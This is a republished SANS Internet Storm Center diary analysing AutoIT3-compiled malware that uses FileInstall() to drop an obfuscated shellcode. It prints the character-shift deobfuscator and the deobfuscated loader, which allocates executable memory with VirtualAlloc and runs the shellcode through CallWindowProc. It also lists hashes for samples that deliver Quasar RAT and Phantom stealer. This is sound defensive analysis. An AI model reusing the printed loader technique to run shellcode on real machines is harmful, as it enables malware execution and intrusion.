{"id":8972,"date":"2025-12-06T04:04:03","date_gmt":"2025-12-06T04:04:03","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/12\/06\/32542\/"},"modified":"2025-12-06T04:04:03","modified_gmt":"2025-12-06T04:04:03","slug":"32542","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/12\/06\/32542\/","title":{"rendered":"AutoIT3 Compiled Scripts Dropping Shellcodes, (Fri, Dec 5th)"},"content":{"rendered":"<p>    AutoIT3 Compiled Scripts Dropping Shellcodes, (Fri, Dec 5th)<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>AutoIT3[<a href=\"https:\/\/www.autoitscript.com\/site\/\">1<\/a>] is a powerful language that helps to built nice applications for Windows environments, mainly to automate tasks. If it looks pretty old, the latest version was released last September and it remains popular amongst developers, for the good\u2026 or the bad! Malware written in AutoIt3 has existed since the late 2000s, when attackers realized that the language was easy to learn (close to basic) but can also compiled into standalone PE files! From a malware point of view, such executables make an extended use of packed data, making them more stealthy.<\/p>\n<p>If it became less popular, AutoIT3 is still used by some attackers. I found a sample yesterday that (ab)use a nice feature of the language. The sample was delivered in a ZIP archive, containing a PE fille: ENQ-2548871-PO-AYPC-352-25-UN-01162.exe (SHA256:1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0). The file has a VT score of 33\/72[<a href=\"https:\/\/www.virustotal.com\/gui\/file\/1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0\">2<\/a>].<\/p>\n<p>The technique used by the threat actor relies on the function FileInstall()[<a href=\"https:\/\/www.autoitscript.com\/autoit3\/docs\/functions\/FileInstall.htm\">3<\/a>]. Its purpose is to to include a file into an executed script but\u2026 the behavior is subtle\u00a0and depends on how the script is run. The script call this code:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nFileInstall ( \"inhumation\" , @TempDir &amp; \"inhumation\" , 1 )<\/pre>\n<p>How does it work?<\/p>\n<ul>\n<li>If the script is <u>parsed<\/u>, the source file <u>must<\/u> exist all the time.<\/li>\n<li>If the script is <u>compiled<\/u>, the file must exist at <u>compile time only<\/u>! (It is embedded into the PE file)<\/li>\n<\/ul>\n<p>When the payload was executed, indeed, it created the file \u2018inhumation\u2019 in %TEMP%!<\/p>\n<p>Clasically, the remaining code is obfuscated. The magic is perfomed\u00a0with a simple function LGYJSYH():<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\nFunc LGYJSYH ( $LVRVBGKY )\n    Local $PYYTLPGF = \"\"\n    For $WVILGLOS = 1 To StringLen ( $LVRVBGKY )\n        Local $NCMTXMB = Asc ( StringMid ( $LVRVBGKY , $WVILGLOS , 1 ) )\n        $PYYTLPGF &amp;= Chr ( $NCMTXMB - ( 1 ^ $WVILGLOS ) )\n    Next\n    Return $PYYTLPGF\nEndFunc<\/pre>\n<p>The purpose is very simple: it parses a string, and for every character, if converts it with the previous one in the ASCII table (-1). Don&#8217;t be fooled, the &#8220;^&#8221; does not reveal some XOR manipulation. In AutoIT, &#8220;^&#8221; is exponentiation!<\/p>\n<p>In Python, we should have something like this:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\ndef LGYJSYH(s):\n    return \"\".join(chr(ord(c) - 1) for c in s)<\/pre>\n<p>Example:<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n&gt;&gt;&gt; def OZTTVUH(s):\n...     return \"\".join(chr(ord(c) - 1) for c in s)\n...\n&gt;&gt;&gt; OZTTVUH(\"lfsofm43\")\n'kernel32'<\/pre>\n<p>Two files are loaded via FileInstall() and one of them is an obfuscated shellcode.<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" alt=\"\" src=\"https:\/\/i0.wp.com\/isc.sans.edu\/diaryimages\/images\/isc-20251205-1%281%29.png?ssl=1\" style=\"width: 800px; height: 521px;\"><\/p>\n<p>Here is the technique used by the sample to load and execute it:<br \/>\n(The code has been deobfuscated for easier reading)<\/p>\n<pre style=\"background: rgb(238, 238, 238); border: 1px solid rgb(204, 204, 204); padding: 5px 10px;\">\n; Unpack the shellcode on disk\nFileInstall ( \"buncal\" , @TempDir &amp; \"buncal\" , 1 )\n\n; Read the shellcode file content\n$FMMKSJE = Execute ( \"lgyjsyh(FileRead(@TempDir \u201c\u201dbuncal\"))\" )\n\n; Get the shellcode length\n$IXWCTFHCT = BinaryLen ( $FMMKSJE )\n\n; Allocate executable memorty (0x40) to contain the shellcode\n$PUJFJJN = DllCall ( \u201ckernel32\u201d , \u201cptr\u201d, \u201cVirtualAlloc\u201d, \u201cdword\" , \u201c0\u201d , \u201cdword\u201d, $IXWCTFHCT, \u201cdword\u201d, \u201c0x3000\u201d, \u201cdword\u201d, \u201c0x40\u201d))[0]\n\n; Prepate the allocated memory as a DLL structure\n$QMDAZCZGFO = DllStructCreate ( \u201cbyte [\u201c &amp; $IXWCTFHCT &amp; \u201c]\u201d ) , $PUJFJJN )\n\n; Loads the shellcode in memory\nDllStructSetData ( $QMDAZCZGFO , 1 , $FMMKSJE )\n\n; Launch the shellcode!\nDllCall ( \u201cuser32.dll\u201d , \u201cptr\u201d, \u201cCallWindowProc\u201d, \u201cptr\u201d, $PUJFJJN + 9296 , \u201cptr\u201d, 0 , \u201cptr\u201d,, 0 , \u201cptr\u201d, 0 , \u201cptr\u201d, 0 )<\/pre>\n<p>I already covered the use of CallWindowProc() to load a shell code in a previous diary[<a href=\"https:\/\/isc.sans.edu\/diary\/Interesting+Technique+to+Launch+a+Shellcode\/32238\">4<\/a>]<\/p>\n<p>There is ongoing wave of such samples. I already spotted two samples that use the same technique:<\/p>\n<ul>\n<li>&#8220;ENQ-2548871-PO-AYPC-352-25-UN-01162.exe&#8221; (SHA256:1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0)\n<ul>\n<li>Delivers a Quasar RAT:<\/li>\n<\/ul>\n<\/li>\n<li>ENQ_DB9002M_ORDER_M24093_2025.exe (SHA256:7eb8ae8f1216a377da6ccd0cee0b21f2700e9bbc46ae3ebfa876e70296aa4539)\n<ul>\n<li>Delivers a Phantom stealer<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>Conclusion: Keep an eye on FileInstall() in AutoIT3 scripts!<\/p>\n<p>[1] <a href=\"https:\/\/www.autoitscript.com\/site\/\">https:\/\/www.autoitscript.com\/site\/<\/a><br \/>\n[2] <a href=\"https:\/\/www.virustotal.com\/gui\/file\/1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0\">https:\/\/www.virustotal.com\/gui\/file\/1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0<\/a><br \/>\n[3] <a href=\"https:\/\/www.autoitscript.com\/autoit3\/docs\/functions\/FileInstall.htm\">https:\/\/www.autoitscript.com\/autoit3\/docs\/functions\/FileInstall.htm<\/a><br \/>\n[4] <a href=\"https:\/\/isc.sans.edu\/diary\/Interesting+Technique+to+Launch+a+Shellcode\/32238\">https:\/\/isc.sans.edu\/diary\/Interesting+Technique+to+Launch+a+Shellcode\/32238<\/a><\/p>\n<p>Xavier Mertens (@xme)<br \/>\nXameco<br \/>\nSenior ISC Handler &#8211; Freelance Cyber Security Consultant<br \/>\n<a href=\"https:\/\/keybase.io\/xme\/key.asc\">PGP Key<\/a><\/p>\n<p> (c) SANS Internet Storm Center. https:\/\/isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.<\/p><\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><\/p>\n<p> \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/isc.sans.edu\/diary\/rss\/32542\">Go to isc.sans.edu<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>AutoIT3 Compiled Scripts Dropping Shellcodes, (Fri, Dec 5th) AutoIT3[1] is a powerful language that helps to built nice applications for Windows environments, mainly to automate tasks. If it looks pretty old, the latest version was released last September and it remains popular amongst developers, for the good\u2026 or the bad! Malware written in AutoIt3 has [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[56],"tags":[69],"class_list":["post-8972","post","type-post","status-publish","format-standard","hentry","category-isc-sans-edu","tag-isc-sans-edu"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/8972"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=8972"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/8972\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=8972"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=8972"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=8972"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}